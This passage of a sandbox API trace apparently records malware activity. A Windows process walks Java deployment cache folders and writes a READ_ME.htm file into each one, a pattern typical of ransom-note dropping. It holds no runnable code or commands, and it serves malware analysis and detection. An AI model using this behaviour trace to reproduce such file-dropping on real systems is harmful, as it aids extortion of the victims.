lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\52\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.885] SetErrorMode (uMode=0x1) returned 0x0 [0147.886] SetErrorMode (uMode=0x0) returned 0x1 [0147.886] GetFileType (hFile=0x1d0) returned 0x1 [0147.886] WriteFile (in: hFile=0x1d0, lpBuffer=0x2866650*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2866650*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\53", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\53", lpFilePart=0x0) returned 0x44 [0147.887] SetErrorMode (uMode=0x1) returned 0x0 [0147.887] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\53\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\53\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.888] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.888] SetErrorMode (uMode=0x0) returned 0x1 [0147.888] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\53", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\53", lpFilePart=0x0) returned 0x44 [0147.888] SetErrorMode (uMode=0x1) returned 0x0 [0147.888] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\53\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\53\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.888] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.889] SetErrorMode (uMode=0x0) returned 0x1 [0147.889] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\53\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\53\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.889] SetErrorMode (uMode=0x1) returned 0x0 [0147.889] SetErrorMode (uMode=0x0) returned 0x1 [0147.889] GetFileType (hFile=0x1d0) returned 0x1 [0147.890] WriteFile (in: hFile=0x1d0, lpBuffer=0x286c548*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x286c548*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\54", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\54", lpFilePart=0x0) returned 0x44 [0147.891] SetErrorMode (uMode=0x1) returned 0x0 [0147.891] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\54\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\54\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.892] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.892] SetErrorMode (uMode=0x0) returned 0x1 [0147.892] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\54", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\54", lpFilePart=0x0) returned 0x44 [0147.892] SetErrorMode (uMode=0x1) returned 0x0 [0147.892] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\54\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\54\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.892] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.893] SetErrorMode (uMode=0x0) returned 0x1 [0147.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\54\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\54\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.893] SetErrorMode (uMode=0x1) returned 0x0 [0147.895] SetErrorMode (uMode=0x0) returned 0x1 [0147.895] GetFileType (hFile=0x1d0) returned 0x1 [0147.896] WriteFile (in: hFile=0x1d0, lpBuffer=0x2872440*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2872440*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\55", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\55", lpFilePart=0x0) returned 0x44 [0147.897] SetErrorMode (uMode=0x1) returned 0x0 [0147.897] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\55\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\55\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.898] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.898] SetErrorMode (uMode=0x0) returned 0x1 [0147.898] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\55", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\55", lpFilePart=0x0) returned 0x44 [0147.898] SetErrorMode (uMode=0x1) returned 0x0 [0147.898] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\55\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\55\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.898] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.899] SetErrorMode (uMode=0x0) returned 0x1 [0147.899] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\55\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\55\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.899] SetErrorMode (uMode=0x1) returned 0x0 [0147.899] SetErrorMode (uMode=0x0) returned 0x1 [0147.899] GetFileType (hFile=0x1d0) returned 0x1 [0147.900] WriteFile (in: hFile=0x1d0, lpBuffer=0x2878338*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2878338*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\56", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\56", lpFilePart=0x0) returned 0x44 [0147.901] SetErrorMode (uMode=0x1) returned 0x0 [0147.901] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\56\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\56\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.902] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.903] SetErrorMode (uMode=0x0) returned 0x1 [0147.903] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\56", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\56", lpFilePart=0x0) returned 0x44 [0147.903] SetErrorMode (uMode=0x1) returned 0x0 [0147.903] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\56\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\56\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.903] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.903] SetErrorMode (uMode=0x0) returned 0x1 [0147.904] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\56\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\56\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.904] SetErrorMode (uMode=0x1) returned 0x0 [0147.904] SetErrorMode (uMode=0x0) returned 0x1 [0147.904] GetFileType (hFile=0x1d0) returned 0x1 [0147.904] WriteFile (in: hFile=0x1d0, lpBuffer=0x287e230*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x287e230*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.906] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\57", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\57", lpFilePart=0x0) returned 0x44 [0147.906] SetErrorMode (uMode=0x1) returned 0x0 [0147.906] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\57\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\57\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.907] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.907] SetErrorMode (uMode=0x0) returned 0x1 [0147.907] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\57", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\57", lpFilePart=0x0) returned 0x44 [0147.907] SetErrorMode (uMode=0x1) returned 0x0 [0147.907] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\57\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\57\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.907] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.908] SetErrorMode (uMode=0x0) returned 0x1 [0147.908] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\57\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\57\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.908] SetErrorMode (uMode=0x1) returned 0x0 [0147.909] SetErrorMode (uMode=0x0) returned 0x1 [0147.909] GetFileType (hFile=0x1d0) returned 0x1 [0147.910] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\58", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\58", lpFilePart=0x0) returned 0x44 [0147.910] SetErrorMode (uMode=0x1) returned 0x0 [0147.910] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\58\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\58\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.911] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.911] SetErrorMode (uMode=0x0) returned 0x1 [0147.911] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\58", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\58", lpFilePart=0x0) returned 0x44 [0147.911] SetErrorMode (uMode=0x1) returned 0x0 [0147.911] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\58\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\58\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.911] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.911] SetErrorMode (uMode=0x0) returned 0x1 [0147.912] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\58\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\58\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.912] SetErrorMode (uMode=0x1) returned 0x0 [0147.919] SetErrorMode (uMode=0x0) returned 0x1 [0147.919] GetFileType (hFile=0x1d0) returned 0x1 [0147.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\59", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\59", lpFilePart=0x0) returned 0x44 [0147.924] SetErrorMode (uMode=0x1) returned 0x0 [0147.924] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\59\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\59\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.925] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.925] SetErrorMode (uMode=0x0) returned 0x1 [0147.925] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\59", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\59", lpFilePart=0x0) returned 0x44 [0147.925] SetErrorMode (uMode=0x1) returned 0x0 [0147.925] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\59\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\59\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.925] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.926] SetErrorMode (uMode=0x0) returned 0x1 [0147.926] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\59\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\59\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.926] SetErrorMode (uMode=0x1) returned 0x0 [0147.926] SetErrorMode (uMode=0x0) returned 0x1 [0147.927] GetFileType (hFile=0x1d0) returned 0x1 [0147.930] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\6", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\6", lpFilePart=0x0) returned 0x43 [0147.930] SetErrorMode (uMode=0x1) returned 0x0 [0147.931] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\6\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\6\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.931] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.931] SetErrorMode (uMode=0x0) returned 0x1 [0147.931] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\6", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\6", lpFilePart=0x0) returned 0x43 [0147.931] SetErrorMode (uMode=0x1) returned 0x0 [0147.932] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\6\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\6\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.932] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.932] SetErrorMode (uMode=0x0) returned 0x1 [0147.932] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\6\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: 